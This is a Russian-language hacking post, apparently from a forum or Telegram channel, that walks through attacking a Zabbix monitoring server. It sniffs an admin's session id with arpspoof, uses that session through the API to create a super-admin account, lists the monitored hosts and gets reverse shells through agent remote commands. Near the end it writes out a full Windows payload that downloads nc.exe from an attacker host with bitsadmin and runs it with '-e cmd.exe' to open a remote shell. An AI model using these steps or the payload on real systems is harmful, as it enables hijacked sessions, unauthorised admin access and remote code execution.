Проводим аудит Zabbix

Проводим аудит Zabbix

@webware

t.me/webware

Приветствую жителей и гостей форума. Поведать я Вам сегодня хочу о брешах в заббиксе. В нем периодически что-либо находят, поэтому остановимся пока на одной теме – API.

Что мы имеем: наша машина находится в пределах одного широковещательного запроса с админом, который залогинен в системе мониторинга.

Первым делом нам нужно поснифать трафик админа и поймать в нем id его сессии в заббиксе. (по большому счету не важно, как вы этот id добудете – в данном примере через mitm)

Можно использовать mitmf, можно еще что-нибудь. Я пошел классическим способом, обычный arpspoof:

Параллельно запустил скрипт, который из трафика выдергивает нужные нам id:

Вот сам скрипт - pastebin.com/AaNZZUDm

Отлично. Сессию админа перехватили. Далее нужно эту сессию скормить в API и создать нового пользователя. Для начала установим модуль PyZabbix:

$ pip install pyzabbix


Запускаем скрипт:

В нем указываем путь до API забикса (по умолчанию http://x.x.x.x/zabbix/api_jsonrpc.php) и будущие логин и пароль.

Скрипт после создания пользователя проверил подключение. Как видим – все ок.

Логинимся в админку – и о чудо – у нас права супер админа 


До:

После:

Вроде все здорово, но на этом мы останавливаться не будем. А что, если попробовать провести атаку на хосты, которые мониторятся заббиксом? Сказано – сделано. Для начала через тот же API запросим у сервера, какие хосты он мониторит. Как раньше, вбиваем адрес API, наш созданный логин и пароль:

Скрипт - https://pastebin.com/LMiE23X1

После буквы “u” написаны имена обслуживаемых хостов. Сохраняем их. Они нам понадобятся дальше.

И напоследок запускаем этот скрипт

Снова вводим наши логин и пароль, запускаем NetCat на прослушивание порта, который мы указали в скрипте, в поле enter hostname указываем имя хоста с результата работы предыдущего скрипта. Получаем бэк конект на нашу машину. Это возможно из-за встроенной возможности с сервера посылать команды на агент на хосте. Единственное условие, чтобы в конфиге агента zabbix_agentd.conf был активирован параметр EnableRemoteCommands=1. Не важно на какой ОС установлен агент - главное чтобы он был. Соответственно работает и в Windows:

Нужно в скрипте прописать в параметре key:

system.run["bitsadmin.exe /transfer /download http://x.x.x.x/nc.exe C:\\Temp\\nc.exe && C:\Temp\\nc.exe x.x.x.x 3333 -e cmd.exe"]

Предварительно запустив апач и положив туда nc.exe

До новых всреч

Источник codeby.net

Report Page